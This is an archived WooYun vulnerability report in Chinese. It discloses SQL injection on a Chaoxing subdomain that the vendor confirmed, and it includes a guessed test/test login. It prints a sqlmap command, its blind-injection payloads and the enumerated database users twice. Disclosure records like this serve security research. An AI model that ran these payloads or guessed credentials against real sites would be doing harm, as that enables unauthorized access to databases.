当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109956

漏洞标题:超星网某分站sql注入

相关厂商:超星网

漏洞作者: 好基友一辈子

提交时间:2015-05-03 21:20

修复时间:2015-06-20 11:50

公开时间:2015-06-20 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-03: 细节已通知厂商并且等待厂商处理中
2015-05-06: 厂商已经确认,细节仅向厂商公开
2015-05-16: 细节向核心白帽子及相关领域专家公开
2015-05-26: 细节向普通白帽子公开
2015-06-05: 细节向实习白帽子公开
2015-06-20: 细节向公众公开

简要描述:

又一个注入

详细说明:

漏洞网站:ssvideo.chaoxing.com
网站需要登录才能访问,手工猜出来一个test/test
登录之后即可访问网站。
存在漏洞的页面recommendlist.asp

[root@Hacker~]# Sqlmap -u "http://ssvideo.chaoxing.com/recommendlist.asp?order=1
&recommend=list" -p order --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:30:20
[18:30:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:30:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (
original value)
Payload: order=(SELECT (CASE WHEN (9473=9473) THEN 1 ELSE 9473*(SELECT 9473
FROM master..sysdatabases) END))&recommend=list
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind - Parameter replace (hea
vy queries)
Payload: order=(SELECT (CASE WHEN (9922=9922) THEN (SELECT COUNT(*) FROM sys
users AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys
5,sysusers AS sys6,sysusers AS sys7) ELSE 9922 END))&recommend=list
---
[18:30:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[18:30:21] [INFO] fetching database users
[18:30:21] [INFO] fetching number of database users
[18:30:21] [INFO] resumed: 2
[18:30:21] [INFO] resumed: sa
[18:30:21] [INFO] resumed: ssvideo_user
database management system users [2]:
[*] sa
[*] ssvideo_user
[18:30:21] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\ssvideo.chaoxing.com'
[*] shutting down at 18:30:21
[root@Hacker~]# Sqlmap


盲注什么的。。网太卡就不深入了。。这个洞审核的时候需要多测试几遍,有时候sqlmap注入会超时。。
如果检测的时候出错可以手工证明一下

QQ图片20150423183553.jpg

漏洞证明:

漏洞网站:ssvideo.chaoxing.com
网站需要登录才能访问,手工猜出来一个test/test
登录之后即可访问网站。
存在漏洞的页面recommendlist.asp

[root@Hacker~]# Sqlmap -u "http://ssvideo.chaoxing.com/recommendlist.asp?order=1
&recommend=list" -p order --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:30:20
[18:30:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:30:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (
original value)
Payload: order=(SELECT (CASE WHEN (9473=9473) THEN 1 ELSE 9473*(SELECT 9473
FROM master..sysdatabases) END))&recommend=list
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind - Parameter replace (hea
vy queries)
Payload: order=(SELECT (CASE WHEN (9922=9922) THEN (SELECT COUNT(*) FROM sys
users AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys
5,sysusers AS sys6,sysusers AS sys7) ELSE 9922 END))&recommend=list
---
[18:30:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[18:30:21] [INFO] fetching database users
[18:30:21] [INFO] fetching number of database users
[18:30:21] [INFO] resumed: 2
[18:30:21] [INFO] resumed: sa
[18:30:21] [INFO] resumed: ssvideo_user
database management system users [2]:
[*] sa
[*] ssvideo_user
[18:30:21] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\ssvideo.chaoxing.com'
[*] shutting down at 18:30:21
[root@Hacker~]# Sqlmap


盲注什么的。。网太卡就不深入了。。这个洞审核的时候需要多测试几遍,有时候sqlmap注入会超时。。
如果检测的时候出错可以手工证明一下

QQ图片20150423183553.jpg

修复方案:

版权声明:转载请注明来源 好基友一辈子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-06 11:49

厂商回复:

该漏洞节前已经修复

最新状态:

暂无